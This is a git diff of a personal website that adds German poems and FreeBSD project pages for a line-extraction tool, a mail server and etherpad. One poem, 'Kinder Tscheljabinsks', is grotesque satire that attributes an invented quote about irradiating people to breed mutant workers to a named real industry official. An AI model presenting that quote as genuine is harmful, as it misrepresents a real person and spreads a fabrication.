30feurige böse Augen im Streit.<br/>
31Und die Gewissheit, dass alles<br/>
32Wahre im Leben farblos ist.
diff --git a/stories/poetry/schneebilder.md b/stories/poetry/schneebilder.md
new file mode 100644
index 0000000..6b5d191
--- /dev/null
+++ b/stories/poetry/schneebilder.md
@@ -0,0 +1,33 @@
1<!--
2.. title: Schneebilder
3.. date: 2006/01/01
4.. tags: poetry
5-->
6
7Vor uns liegt<br/>
8wie von eisiger Decke,<br/>
9der Platz, sanft gebettet.<br/>
10Ganz ruhig noch,<br/>
11im warmen Lichte<br/>
12der Stadt.<br/>
13
14Unter uns summen<br/>
15wie ein heimlicher Chor,<br/>
16die Flocken, matt knirschend.<br/>
17Voll knisternder Spannung,<br/>
18im warmen Rauschen<br/>
19der Stadt.<br/>
20
21Um uns fliegen<br/>
22wie von feuriger Hand,<br/>
23die Bälle, wild pfeifend.<br/>
24Voll Freude am Leben,<br/>
25im warmen Herzen<br/>
26der Stadt.<br/>
27
28Hinter uns verlieren<br/>
29wie des Atems Hauch<br/>
30unsere Schritte, sich still.<br/>
31Und langsam nur<br/>
32im warmen Schnee<br/>
33der Stadt.<br/>
diff --git a/stories/poetry/seelenkratzer.md b/stories/poetry/seelenkratzer.md
new file mode 100644
index 0000000..779d228
--- /dev/null
+++ b/stories/poetry/seelenkratzer.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Seelenkratzer
3.. date: 2004/08/01
4.. tags: poetry
5-->
6
7Wir gaffen von den viel zu glatten Klippen<br/>
8und aus den uns ausgesparten Hoehlen<br/>
9die falschen Schluchten in die toten Taeler hinab,<br/>
10die wir glauben, uns selbst in der Landschaft,<br/>
11zum Durchwandern und sich Treffen,<br/>
12geschaffen zu haben.<br/>
13Doch - kaum regt dort sich Leben,<br/>
14nehmen wir reissaus,<br/>
15verstecken uns voreinander und<br/>
16lindern, in Sicherheit, diesen Schmerz<br/>
17mit knallbunten Bildern.
diff --git a/stories/poetry/seemann.md b/stories/poetry/seemann.md
new file mode 100644
index 0000000..1902278
--- /dev/null
+++ b/stories/poetry/seemann.md
@@ -0,0 +1,71 @@
1<!--
2.. title: Seemann
3.. date: 2000/08/01
4.. tags: poetry
5-->
6
7Nanana, mal nicht so schnell, wo wollen sie denn hin? -
8
9 Schnellstmöglich runter hier von diesem ... Boot? -
10
11Das sehe ich, daraus wird aber nichts mehr, wir legen nämlich gleich ab, seien sie bitte vernünftig, bleiben sie an Bord! -
12
13 Das werden wir noch sehen... wohin fahren sie denn überhaupt? -
14
15Sollten sie das nicht wissen, sie haben doch schließlich gebucht? -
16
17 Nein, ich habe gar nichts gebucht, wie kommen sie... -
18
19Ist das hier ihr Name auf der Liste? -
20
21 Ja schon, aber... -
22
23Na, sehen sie! Und wer bucht, kommt auch mit, oder glauben sie, wegen ihnen weren wir unseren ganzen Plan um? -
24
25 Mhh, wie lang dauert, ich meine, wann werden... -
26
27Das weiß keiner. Mal länger, mal weniger lang, das hängt ja sehr von der Route ab, und der Planung natürlich. Sie allerdings scheinen ja nicht sonderlich gut vorbereitet zu sein. -
28
29 Vorbereitung! Ich finde mich hier plötzlich und unvorbereitet... dabei fällt mir ein: was soll die ... Überfahrt?... eigentlich kosten? -
30
31Ach, darüber brauchen sie sich keine Sorgen zu machen, das ist alles schon geregelt. -
32
33 Nun sagen sie es schon! -
34
35Warum wollen sie das denn unbedingt wissen? -
36
37 Es interessiert mich halt, los, also wieviel? -
38
39... Alles. -
40
41 Wie, alles? -
42
43Na, ALLES. -
44
45 Sie meinen alles, was ich im Laufe... -
46
47Genau! Aber wie gesagt, sie brauchen sich um nicts mehr kümmern, es ist alles schon erledigt, kommen sie dann bitte wieder her? -
48
49 Einen Moment noch welche Plätze werden..., ich meine sind denn gebucht? -
50
51Das hängt voll und ganz vom jeweiligen Passagier ab. -
52
53 Sie meinen wohl, daß alles, was ich während... -
54
55Ja, zum Teufel!... Entschuldigen sie, ich habe es jetzt ein wenig eilig -
56
57 Das ist doch aber reichlich unfair, wieso erfahre ich das erst jetzt? -
58
59Wurde ihnen das denn nicht gesagt? -
60
61 Mhh, ich denke... ich sehe, das tut wohl JETZT nichts mehr zur Sache. -
62
63... -
64
65 Wieviele Rettungsboote haben wir denn mir? Reichen die denn für alle... wieviele Passagiere fahren denn so mit? -
66
67Rettungsboote, ha, wozu? Wohin retten? Eigentlich sind sie doch alle scho... ähm, entschuldigen sie bitte... Passagiere... na alle! -
68
69 Wie... ach, eigentlich wundert es mich gar nicht mehr, gibt es denn überhaupt etwas Positives zu sagen? -
70
71Ich würde ihnen ja gerne etwas versprechen... vielleicht: Chancen über Chancen... sie könn... halt, HALT! Warten sie, anhalten... Idiot!
diff --git a/stories/poetry/traeumerei.md b/stories/poetry/traeumerei.md
new file mode 100644
index 0000000..e980e10
--- /dev/null
+++ b/stories/poetry/traeumerei.md
@@ -0,0 +1,40 @@
1<!--
2.. title: Träumerei
3.. date: 2001/08/02
4.. tags: poetry
5-->
6
7Dies ist keine Welt fuer Traeumer.<br/>
8Kaum reckt man seinen Kopf<br/>
9Um die Geheimnisse der Welt<br/>
10zu entdecken und<br/>
11ihre Schoenheit zu begreifen,<br/>
12kaum glaubt man,<br/>
13verstanden zu haben, wozu<br/>
14man da ist und fuer wen,<br/>
15kaum ist man aus den<br/>
16Kinderschuhen hinausgewachsen,<br/>
17um in irgendwelche unsaeglichen<br/>
18Fussstapfen hineinwachsen<br/>
19zu sollen,<br/>
20kaum, dass man sich so<br/>
21einigermassen eingerichtet<br/>
22hat, in seinem Leben, so<br/>
23wie es alle machen und<br/>
24kaum, dass man glaubt DOCH<br/>
25etwas Besonderes zu sein,<br/>
26kommt diese verdammte<br/>
27Realitaet vorbei, reisst<br/>
28dir mit Gewalt die Augen auf<br/>
29und dich mit in den Strudel<br/>
30des Lebens fernab jeglicher<br/>
31Traeume und Plaene, die du<br/>
32dir zurechtgelegt und bewahrt<br/>
33hast in deiner Schatzkiste.<br/>
34Und alles, was du dir bewahren<br/>
35kannst, ist die Hoffnung,<br/>
36dass da irgendjemand<br/>
37auf der Suche danach ist.<br/>
38Doch leider haben nur Traeumer<br/>
39den Schluessel dafuer.<br/>
40Wirf ihn nicht weg!
diff --git a/stories/poetry/tscheljabinsk.md b/stories/poetry/tscheljabinsk.md
new file mode 100644
index 0000000..0dc1b70
--- /dev/null
+++ b/stories/poetry/tscheljabinsk.md
@@ -0,0 +1,15 @@
1<!--
2.. title: Kinder Tscheljabinsks
3.. date: 2001/09/01
4.. tags: poetry
5-->
6
7In letzter Zeit erreichten die Redaktion Bilder von Kindern aus Tscheljabinsk.
8
9Dort hatte die Deutsche Industrielobby zuletzt versucht, ihren Atommüll endzulagern.
10
11Konfrontiert mit Bildern von Kindern mit zum Teil mehr als drei Armen und lumineszierenden Augen, gab sich Dr. Michael Rogowski vom Bundesverband der Deutschen Industrie e.V. (BDI) euphorisch:
12
13"Das ist zwar alles schon sehr schön, aber wohl doch nur ein Anfang. Für Zuwanderer aus dem Ausland mit außergewöhnlichen Fähigkeiten sehen die Arbeitsmarktchancen in Deutschland durchweg positiv aus.
14
15Allerdings sollte in näherer Zukunft die Ausbeute noch erhöht werden. Biodesignkatalysatoren hat die deutsche Atomindustrie in ausreichenden Mengen, vorstellbar hier wären Abkommen zum beiderseitigen Nutzen, z.B. mit der Regierung von China. Dort alle Bürger mit 0.1g Gebraucht-Uran zu versorgen, das sie an fortpflanzungstechnisch wertvoller Stelle bei sich führen sollen, würde einen Absatz von 120 Tonnen gebrauchter Brennstäbe bedeuten, eine enorme Herausforderung für uns. Gingen wir von 50 prozentiger Infertilitätrate aus, wäre für die chinesische Regierung im Kampf gegen das Bevölkerungswachstum Enormes geleistet. Nach der dritten Brut sollte doch die Wahrscheinlichkeit gross genug sein, dass aus 1,2 Milliarden Einheiten genetischer Durchschnittsmasse bei mindestens 600 eine nützliche Mutation auftritt. Durch weiteres Auskreuzen könnte der Deutschen Industrie schon in 50 Jahren ein Heer biooptimierter Arbeitskräfte zur Verfügung stehen."
diff --git a/stories/poetry/urlaubsgruesse.md b/stories/poetry/urlaubsgruesse.md
new file mode 100644
index 0000000..e3d7cdb
--- /dev/null
+++ b/stories/poetry/urlaubsgruesse.md
@@ -0,0 +1,14 @@
1<!--
2.. title: Urlaubsgrüße
3.. date: 2010/07/01
4.. tags: poetry
5-->
6
7Schaust übers Meer und Gischt umspült dein Bein,<br/>
8und es ist, als lockt es dich mit jeder Welle,<br/>
9die voll Neugier dich umschmeichelt, tiefer noch<br/>
10im Sand zum Strand ins Salz zum Wasser weit und frei<br/>
11zum Horizont in die Weite, in die Leere, sanft hinein,<br/>
12und doch verweilt dein Fuß an der immer gleichen Stelle,<br/>
13und du sinkst im Schwung um Schwung gespülten Loch<br/>
14und das Meer zieht bis zur Flut zum Land an dir vorbei.
diff --git a/stories/poetry/vchat.md b/stories/poetry/vchat.md
new file mode 100644
index 0000000..1f61b40
--- /dev/null
+++ b/stories/poetry/vchat.md
@@ -0,0 +1,35 @@
1<!--
2.. title: vchat
3.. date: 2002/02/02
4.. tags: poetry
5-->
6<PRE>
7&lt;erdgeist&gt; Faust: wat'n?
8&lt;FAUST&gt; *abwend* du siehst ja krass aus
9&lt;erdgeist&gt; Faust: wie? erst nervste die ganze Zeit, und denn?
10&lt;FAUST&gt; erdgeist: sorry, du bist mir aber grad zu krass
11&lt;erdgeist&gt; Faust: eh, die ganze Zeit SMSen, Mails und so,
12 nur dass ich mich mal blicken lasse,
13 dann lass ich mich erweichen,
14 komm hier extra vorbei und denn guckste..
15 wat isn passiert?
16* Hans left channel 0
17&lt;erdgeist&gt; Faust: Haste da nicht eben noch rumgetoent,
18 M0n574-1337 h4x0r zu sein? Und wolltest's mir zeigen?
19 Und wo issa nu, der krasse Faust, der mich unbedingt
20 sehn wollte? Ich seh hier nur'n feiges Scriptkiddie
21&lt;FAUST&gt; erdgeist: Nu komm abba mal, bloss weilde hier mit
22 War-scripts auftauchst, hau ich noch lange nicht ab!
23&lt;erdgeist&gt; Ist ja nicht so, dass ich nix zu tun hab,
24 ich back da mal wieder ne frische Welt und der Kernel
25 ist auch mal wieder faellig und Heise hab ich auch
26 noch nicht durch...
27&lt;FAUST&gt; Man, du bist aber beschaeftigt. Kann ich nicht bei dir
28 joinen? Man, wir haben doch total viel gemeinsam...
29&lt;erdgeist&gt; Eh wat? Geh mit deine wareztradaz spieln und nerv nich!
30 ich mach mich dann mal vom Acker... bye
31* erdgeist left channel 0
32* erdgeist left the chat
33&lt;FAUST&gt; *sigh* warez traden...
34* Nobody hears you
35</PRE>
diff --git a/stories/poetry/verloren.md b/stories/poetry/verloren.md
new file mode 100644
index 0000000..e9cd0c3
--- /dev/null
+++ b/stories/poetry/verloren.md
@@ -0,0 +1,26 @@
1<!--
2.. title: Verloren
3.. date: 2001/07/02
4.. tags: poetry
5-->
6
7Engel verschwinden nicht einfach so aus Leben.<br/>
8Und dieser Engel, den ich liebgewann,<br/>
9als er mich vor dem Stumpfsinn bewahrte,<br/>
10dieser Engel entzieht sich nun langsam,<br/>
11kaum merklich fast, mit mir unbekanntem Ziel.<br/>
12Mag sein, um woanders Gutes zu tun,<br/>
13mag sein, seiner selbst willen,<br/>
14mag sein, meinetwegen.<br/>
15Und die Frage, die sich zweifellos aufdraengt,<br/>
16und auf die ich wohl nicht unvoreingenommen,<br/>
17weil immer noch vom heiligen Schein geblendet,<br/>
18antworten kann, muss wohl ungefaehr so lauten.<br/>
19Sollte man sich in den Weg stellen<br/>
20oder beim Starten helfen.<br/>
21Sollte man auf einen Engel Ruecksicht nehmen,<br/>
22oder wozu ist er denn da?<br/>
23Am Besten ist, man schliesst das Maerchenbuch,<br/>
24gesteht sich die verdraengten Fehlbarkeiten ein,<br/>
25denkt noch einmal ueber sich selbst nach,<br/>
26nennt es Liebe und erklaert sich zum Verlierer.
diff --git a/stories/poetry/wasted.md b/stories/poetry/wasted.md
new file mode 100644
index 0000000..f445146
--- /dev/null
+++ b/stories/poetry/wasted.md
@@ -0,0 +1,20 @@
1<!--
2.. title: Wasted
3.. date: 2003/06/01
4.. tags: poetry
5-->
6
7zwei seelen verwandt<br/>
8an einsamem ort<br/>
9als licht nur verband<br/>
10gemeinsames wort<br/>
11
12die naechte allein<br/>
13an tagen getraeumt<br/>
14in taumelndem schein<br/>
15die jugend versaeumt<br/>
16
17zwei seelen so nah<br/>
18vorbei nur am glueck<br/>
19verschenkten sich da<br/>
20ein leben zurueck<br/>
diff --git a/stories/poetry/wille.md b/stories/poetry/wille.md
new file mode 100644
index 0000000..78b5974
--- /dev/null
+++ b/stories/poetry/wille.md
@@ -0,0 +1,28 @@
1<!--
2.. title: (erdgeist IV) Wille
3.. date: 2002/12/04
4.. tags: poetry
5-->
6
7Wilder Wille beeindruckt den,<br/>
8der so Vieles schon erlebte<br/>
9und so Trauriges,<br/>
10der ganze Zivilisationen kommen<br/>
11und gehen hat sehen muessen,<br/>
12Einzelne und Viele auf ihrer<br/>
13immer gleichen Suche auf den<br/>
14immer gleichen Pfaden in einer<br/>
15immer gleichen Welt nach den<br/>
16immer gleichen Freiheiten,<br/>
17doch! Wilder Wille beeindruckt<br/>
18den immer noch. Weil er<br/>
19erinnert wird an die alten<br/>
20Tage, an die grossen Schlachten,<br/>
21Tragoedien und das grosse und<br/>
22kleine Elend. Und den Kampf<br/>
23dagegen und das immer wieder<br/>
24und wiederkehrende aufeinander<br/>
25und einander Treffen, bei dem<br/>
26doch am Ende nur einer gewinnt.<br/>
27Als Lichtschein in einer sonst<br/>
28monotonen Zeit.
diff --git a/stories/poetry/wortzahl84.md b/stories/poetry/wortzahl84.md
new file mode 100644
index 0000000..f370725
--- /dev/null
+++ b/stories/poetry/wortzahl84.md
@@ -0,0 +1,35 @@
1<!--
2.. title: Wortzahl: 84
3.. date: 1998/06/01
4.. tags: poetry
5-->
6
7Neue Epochen beginnen<br/>
8An jedem Tag<br/>
9Für jeden Einzelnen.<br/>
10In bessere Zeiten<br/>
11Führt es mich<br/>
12Mit edleren Zielen<br/>
13Sowie größeren Taten,<br/>
14Noch mehr Gefühlen,<br/>
15Nie geahnten Wegen.<br/>
16Zeigt mir dort<br/>
17Meine eigene Welt.<br/>
18Doch wenn nicht<br/>
19Bin ich tot -<br/>
20Oder zumindest fast -<br/>
21Einer von Ihnen<br/>
22Auf keinen Fall<br/>
23Anders als Jene,<br/>
24Die wir verachteten<br/>
25Nur aufgrund dessen,<br/>
26Daß sie sind,<br/>
27Was nun scheinbar<br/>
28Aus euch wird,<br/>
29Und welche uns<br/>
30Dafür wiederum haßten,<br/>
31Denen ihr jetzt<br/>
32Ohne zu fragen<br/>
33Ins Verderben folgt.<br/>
34<br/>
35Gehst du auch?
diff --git a/stories/poetry/zeitlos.md b/stories/poetry/zeitlos.md
new file mode 100644
index 0000000..342a8e1
--- /dev/null
+++ b/stories/poetry/zeitlos.md
@@ -0,0 +1,18 @@
1<!--
2.. title: Zeitlos
3.. date: 2001/01/01
4.. tags: poetry
5-->
6
7Mein Leben zieht nur noch links und rechts<br/>
8&nbsp;an mir vorbei.<br/>
9Sekunden, Minuten, Stunden versinken vor Scham ueber ihre Bedeutungslosigkeit<br/>
10&nbsp;in der Bedeutungslosigkeit.<br/>
11Tage gleiten wortlos ineinander ueber, als haetten sie<br/>
12&nbsp;die Naechte vergessen.<br/>
13Wochen gewoehnen sich daran, als eine zaehe Masse<br/>
14&nbsp;traege dahinzufliessen<br/>
15und im Einheitsgrau der Monate unaufhaltsam<br/>
16&nbsp;Jahre zu altern.<br/>
17Es scheint, als waere die Zeit aus meinem Leben<br/>
18&nbsp;einfach so ausgezogen.<br/>
diff --git a/stories/poetry/zynismus.md b/stories/poetry/zynismus.md
new file mode 100644
index 0000000..d68a5f0
--- /dev/null
+++ b/stories/poetry/zynismus.md
@@ -0,0 +1,36 @@
1<!--
2.. title: Zynismus
3.. date: 2001/06/01
4.. tags: poetry
5-->
6
7Wundervoll ist die Welt<br/>
8und zynisch ihre Kommentatoren.<br/>
9Und wer immer dich jemals gesehen hat,<br/>
10wird mir beipflichten muessen.<br/>
11
12Denn eine Welt, die dein Laecheln<br/>
13und den Zauber deiner Seele<br/>
14hervorgebracht hat, kann so schlecht<br/>
15ganz gewiss nicht sein.<br/>
16
17Aber eine Welt, die mir dein Laecheln<br/>
18und deine ewige Praesenz vorenthaelt<br/>
19und mich allein zuruecklaesst,<br/>
20mit dem Rest von ihr, kann so schoen<br/>
21ganz gewiss nicht sein.<br/>
22
23Und ich, der ich verlange, dein Laecheln<br/>
24und den Glanz, den du verstroemst,<br/>
25nur fuer mich allein zu haben, und dich<br/>
26der Welt vorzuenthalten und ihr das<br/>
27Wertvollste zu stehlen, kann so gerecht<br/>
28ganz gewiss nicht sein.<br/>
29
30Nur du, die du von alledem unwissend<br/>
31einfach nur du bist und dein Laecheln<br/>
32und dich selbst der ganzen Welt schenkst<br/>
33und dich doch nie vereinnahmen laesst,<br/>
34hoer bitte nicht auf meine Worte!<br/>
35Aber so zynisch wie ich wirst du<br/>
36ganz gewiss nicht sein.
diff --git a/stories/projects/Telefonbuch.rst b/stories/projects/Telefonbuch.rst
new file mode 100644
index 0000000..4c4260c
--- /dev/null
+++ b/stories/projects/Telefonbuch.rst
@@ -0,0 +1,7 @@
1.. link:
2.. description: is a project to quickly dump a certain kind of digital phone books.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: Telefonbuch
6.. slug: ../arts/software/Telefonbuch/index
7.. prio: 98
diff --git a/stories/projects/anonbox.rst b/stories/projects/anonbox.rst
new file mode 100644
index 0000000..404ddbb
--- /dev/null
+++ b/stories/projects/anonbox.rst
@@ -0,0 +1,7 @@
1.. link:
2.. description: is a web service to generate and maintain throw away email addresses, instanced on anonbox.net, including a javascript implementation of a unicode capable mbox-to-html renderer.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: anonbox
6.. slug: ../arts/software/anonbox/index
7.. prio: 99
diff --git a/stories/projects/briefkasten.rst b/stories/projects/briefkasten.rst
new file mode 100644
index 0000000..de4c8cd
--- /dev/null
+++ b/stories/projects/briefkasten.rst
@@ -0,0 +1,6 @@
1.. link:
2.. description: is a web service to anonymously submit messages via the web generating PGP mails and is instanced on the zeit-online briefkasten.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: briefkasten
6.. slug: ../arts/software/briefkasten/index
diff --git a/stories/projects/el.rst b/stories/projects/el.rst
new file mode 100644
index 0000000..8633181
--- /dev/null
+++ b/stories/projects/el.rst
@@ -0,0 +1,72 @@
1.. link:
2.. description: is a unix tool aiding the Telefonbuch project for export and search queries.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: el
6.. subtitle: extract lines from text files
7.. slug: ../arts/software/el/index
8.. prio: 100
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16Overview
17========
18
19*el* (from extract lines) is a unix tool to efficiently extract lines from a text file using a dynamic line end index. Its command line syntax is tuned to work with other posix tools – especially grep – to easily operate on poor man's databases where each of the database's columns is in a separate newline separated file.
20
21Since *el* mmaps the whole file, it does not work on streams.
22
23----
24
25Build instructions
26==================
27
28Get the source from my git repository ``git clone git://erdgeist.org/el`` and type ``make`` in the directory ``el``. *el* has no further dependencies and can just be copied to ``/usr/local/bin`` or wherever your binaries reside.
29
30----
31
32Invocation
33==========
34
35In its simplest form just run::
36
37 echo 1 2 3 4 5 6 7 8 9 10 | el file.txt
38
39to extract lines 1 to 10 from the file ``file.txt`` and print them to stdout. *el* also accepts white space separated line numbers with the ``-i`` parameter and can default to hexadecimal numbers with the ``-x`` switch::
40
41 el -i "10 11 12 13" -x file1.txt file2.txt
42
43extracts line 16 to 19 from the files ``file.txt`` and ``file2.txt``, each line separated by the tab character. If your line numbers start at ``0``, *el* will add 1, if it is run with the ``-0`` switch.
44
45The reason reading line numbers from stdin and not from command line by default becomes apparent, when you use the combining features of *el*, as it can parse and generate output as the ``grep`` posix tool does.
46
47If you use the ``-n`` switch, each extracted line is prefixed by it's line number and a colon, just as ``grep`` does. If you use the ``-g`` switch, *el* will also **expect** the line numbers on stdin to be terminated by a colon followed by garbage until next newline. So you can feed results from ``grep -n`` directly to it. With the ``-G`` option, not only will *el* parse the line numbers from ``grep``'s output, but also append the extracted lines from each file to the input line. In order to chain several ``grep`` and *el* commands, best combine the ``-Gn`` switches as in this example::
48
49 grep -n Manager positions.txt | el -Gn firstname.txt lastname.txt | grep Jon | el -Gn salary.txt
50
51This will produce, an output like this::
52
53 17:Manager\tJon\tMiller\t$1200
54 23:Manager\tJon\tDoe\t$1600
55
56given that all the text files contain corresponding rows of information about the staff.
57
58----
59
60Author
61======
62
63*el* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers.
64
65----
66
67License
68=======
69
70*el* is considered `beer ware </beerware.html>`_.
71
72
diff --git a/stories/projects/elektropost.rst b/stories/projects/elektropost.rst
new file mode 100644
index 0000000..b8ad9d1
--- /dev/null
+++ b/stories/projects/elektropost.rst
@@ -0,0 +1,197 @@
1.. link:
2.. description: is an ongoing mail server and webmail frontend project, documented to be set up on a FreeBSD jail and instanced on elektropost.org.
3.. tags: project
4.. date: 2014/02/01 19:10:08
5.. title: elektropost
6.. subtitle: a FreeBSD jail based mail server project.
7.. slug: ../arts/software/elektropost/index
8.. prio: 750
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16Overview
17========
18
19`Here is a raw sketch </epost.pdf>`_ of how the elektropost setup works.
20
21Send feedback to `erdgeist <mailto:erdgeist@erdgeist.org>`_.
22
23----
24
25Install qmail
26=============
27
28* ``make patch`` in /usr/ports/mail/qmail-tls, choose SMTP_AUTH_PATCH, BIG_TODO_PATCH, BIG_CONCURRENCY_PATCH, DISCBOUNCES_PATCH and SPF_PATCH, keep RCDLINK
29* apply patch http://erdgeist.org/arts/software/Code/elektropost/validrcptto.cdb.patch.new to qmail-tls/work/qmail-1.03
30* apply patch http://erdgeist.org/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch to qmail-tls/work/qmail-1.03
31* ``make install`` in /usr/ports/mail/qmail-tls
32* add "QMAIL_SLAVEPORT=tls" in /etc/make.conf
33
34----
35
36Configure qmail
37===============
38
39* In /var/qmail/control check/edit all files
40* create a servercert.pem. On elektropost this one is used for lighty and dovecot as well, YMMV
41* install http://erdgeist.org/arts/software/Code/elektropost/tcp.smtp to /etc/tcp.smtp and alter it accordingly to your needs, ie fix/insert to "cat /etc/tcp.smtp | tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp"
42
43 * for this you will need to ``make install`` in /usr/ports/sysutils/ucspi-tcp
44 * select SSL, leave MAN checked
45* ``ln -s /var/qmail/boot/qmail-smtpd.rcNG /usr/local/etc/rc.d/qmail-smtpd``
46* ``ln -s /var/qmail/boot/maildir /usr/local/etc/rc.d/qmail``
47* ``echo 'qmailsmtpd_enable="YES"' >> /etc/rc.conf``
48* ``echo 'qmailsmtpd_checkpassword="/usr/local/vpopmail/bin/vchkpw"' >> /etc/rc.conf``
49
50----
51
52Install vpopmail
53================
54
55* ``make install`` in /usr/ports/mail/vpopmail
56* Use default options for ucspi-tcp
57* ``chown vpopmail:vchkpw /usr/local/vpopmail``
58* ``chmod u+s ~vpopmail/bin/vchkpw``
59* ``pw user mod vpopmail -s /bin/sh``
60
61----
62
63Configure vpopmail
64==================
65
66* ``echo elektropost.org > /usr/local/vpopmail/etc/defaultdomain``
67
68----
69
70Install dovecot
71===============
72
73* ``make install`` in /usr/ports/mail/dovecot
74* choose option VPOPMAIL, keep the rest (maybe disable IPV6)
75* ``echo 'dovecot_enable="YES"' >> /etc/rc.conf``
76
77----
78
79Configure dovecot
80=================
81
82* ``cp /usr/local/etc/dovecot-example.conf /usr/local/etc/dovecot.conf``
83* Change: protocols = imap imaps pop3s
84* Change: listen = and ssl_listen = to match your ip addresses
85* Change: ssl_cert_file = /var/qmail/control/servercert.pem
86* Change: ssl_key_file = /var/qmail/control/servercert.pem
87* Change: mail_location = maildir:%h/Maildir
88* Change: first_valid_uid = 1
89* Change: first_valid_gid = 1
90* Change: max_mail_processes = 1024
91* Change: auth_username_format = %Ln@%Ld
92* Change: #passdb pam { and #} if you do not have local user mail
93* Change: #userdb passwd { and #} if you do not have local user mail
94* Change: userdb vpopmail { and } to use vpopmail's vchkpw
95
96----
97
98Install lighty
99==============
100
101* ``make install`` in /usr/ports/www/lighttpd
102* ``echo 'lighttpd_enable="YES"' >> /etc/rc.conf``
103
104----
105
106Configure lighty
107================
108
109* ``cp /usr/local/etc/lighttpd.conf.sample /usr/local/etc/lighttpd.conf``
110* Change: "mod_fastcgi",
111* Change: server.document-root = "/usr/local/www/squirrelmail/"
112* Change: server.port = 443
113* Change::
114
115 cgi.assign = ( ".pl" => "/usr/bin/perl",
116 ".cgi" => "/usr/bin/perl",
117 "/cgi-bin/qmailadmin" => "",
118 "/ezmlm-cgi" => "" )
119
120* Change: ssl.engine = "enable"
121* Change: ssl.pemfile = "/var/qmail/control/servercert.pem"
122* To inform users to use https, put a document to /usr/local/www/data/index.html and add::
123
124 #compatibility
125 $SERVER["socket"] == "<insert your ip address>:80" {
126 ssl.engine = "disable"
127 server.name = "<your fqdn>"
128 server.document-root = "/usr/local/www/data"
129 }
130
131----
132
133Install squirrelmail
134====================
135* ``make install`` in /usr/ports/mail/squirrelmail
136* Use default options for php5
137* Follow the instructions squirrelmail port prints out
138
139----
140
141Install qmailadmin / ezmlm-idx
142==============================
143
144* ``make install WITH_SPAM_DETECTION=TRUE SPAM_COMMAND="| /usr/local/bin/spamc -f | /usr/local/bin/maildrop" CGIBINDIR=www/squirrelmail/cgi-bin CGIBINSUBDIR= WEBDATADIR=www/squirrelmail WEBDATASUBDIR=qmailadmin in /usr/ports/mail/qmailadmin``
145* Use default options for ezmlm-idx
146
147----
148
149Install qmailadmin plugin for squirrelmail
150==========================================
151
152* ``make install`` in /usr/ports/mail/squirrelmail-qmailadmin_login-plugin
153
154----
155
156Install maildrop
157================
158
159* ``make install`` in /usr/ports/mail/maildrop
160
161----
162
163Install the maildrop spam sort magic
164====================================
165
166* install http://erdgeist.org/arts/software/Code/elektropost/maildroprc to /usr/local/etc/maildroprc
167
168----
169
170Install spamassassin
171====================
172
173* ``make install`` in /usr/ports/mail/p5-Mail-SpamAssassin, keep SPAMC, SSL, uncheck all others
174* ``echo '-d 192.168.0.2' > /usr/local/etc/mail/spamassassin/spamc.conf``
175
176----
177
178Install the Valid RCPTTO checking stuff
179=======================================
180
181* install http://erdgeist.org/arts/software/Code/elektropost/mkvalidrcptto to /usr/local/vpopmail/bin/mkvalidrcptto
182* ``chmod +x /usr/local/vpopmail/bin/mkvalidrcptto``
183* ``cpan install CDB_File`` to help perl understand cdb files
184* ``make install`` in /usr/ports/databases/cdb/
185* Add a script to your crontab (e.g. /usr/local/vpopmail/etc/tidymail.sh) that contains::
186
187 /usr/local/vpopmail/bin/mkvalidrcptto | /usr/local/bin/cdbmake-12 /var/qmail/control/validrcptto.cdb /tmp/validrcptto.tmp
188
189----
190
191Install the auto trash-pruning script
192=====================================
193
194* Add a script to your crontab (e.g. /usr/local/bin/prune-trash.sh) that contains::
195
196 find -E /usr/local/vpopmail/domains/ -type f -iregex "^.*/maildir/.*\.(junk|trash|spam)(\.[^/]+)?/(new|cur|tmp)/.*$" -mmin +86400 -delete
197
diff --git a/stories/projects/etherpad.rst b/stories/projects/etherpad.rst
new file mode 100644
index 0000000..cc75def
--- /dev/null
+++ b/stories/projects/etherpad.rst
@@ -0,0 +1,237 @@
1.. link:
2.. description: is a documentation project on how to setup the classic etherpad software in a FreeBSD jail.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: etherpad
6.. slug: ../arts/software/etherpad/index
7
8.. contents::
9 :depth: 1
10 :class: ezjail-toc
11
12----
13
14Overview
15========
16
17This is how to install the etherpad from http://etherpad.org/ in a FreeBSD-8.2 jail. (N.B: Things are reported not to work with newer versions.)
18
19This guide assumes, you have sudo, bash and an editor of your choice installed. Reserve around 2GB space for the jail. If you're using a different shell, use ``setenv`` to configure the environment variables set by ``export`` in this guide. Send feedback to `erdgeist <mailto:erdgeist-etherpad@erdgeist.org>`_. Many regards to `this guide <http://pauleira.com/13/installing-etherpad/>`_, it helped me a lot.
20
21----
22
23Install Scala + Java
24====================
25
26Since etherpad does not build under the version of scala that is shipped with FreeBSD-8.2 (i.e. scala-2.8.0), we have to manually install scala-2.7.7. However, scala brings nice dependencies that help with the manual installation of the jdk. So we install scala-2.8.0 to get the dependencies, then deinstall it and install java and scala.
27
28* Fetch jdk here: `<jdk-1.6.0.3p4_15.tbz>`_
29* Fetch scala-2.7.7 here: `<scala-2.7.7.tbz>`_
30
31Then type::
32
33 pkg_add -r scala
34 pkg_delete -f scala\*
35 pkg_add jdk-1.6.0.3p4_15.tbz scala-2.7.7.tbz
36
37----
38
39Install mysql, fastjar and java connector
40=========================================
41
42Type::
43
44 pkg_add -r mysql55-server mysql-connector-java fastjar
45 echo mysql_enable=YES >> /etc/rc.conf
46 /usr/local/etc/rc.d/mysql-server start
47
48----
49
50Prepare mysql
51=============
52
53Connection in a jail comes from the jail IP, not from 127.0.0.1, so enter IPADDRESS accordingly
54
55``mysql -u root``
56
57and in the mysql shell::
58
59 create database etherpad;
60 grant all privileges on etherpad.* to 'etherpad'@'IPADDRESS' identified by 'MYSQLPASS_CHANGEME';
61
62----
63
64Checkout etherpad
65=================
66
67Type::
68
69 pkg_add -r git
70 cd /usr/local
71 git clone git://github.com/ether/pad.git
72
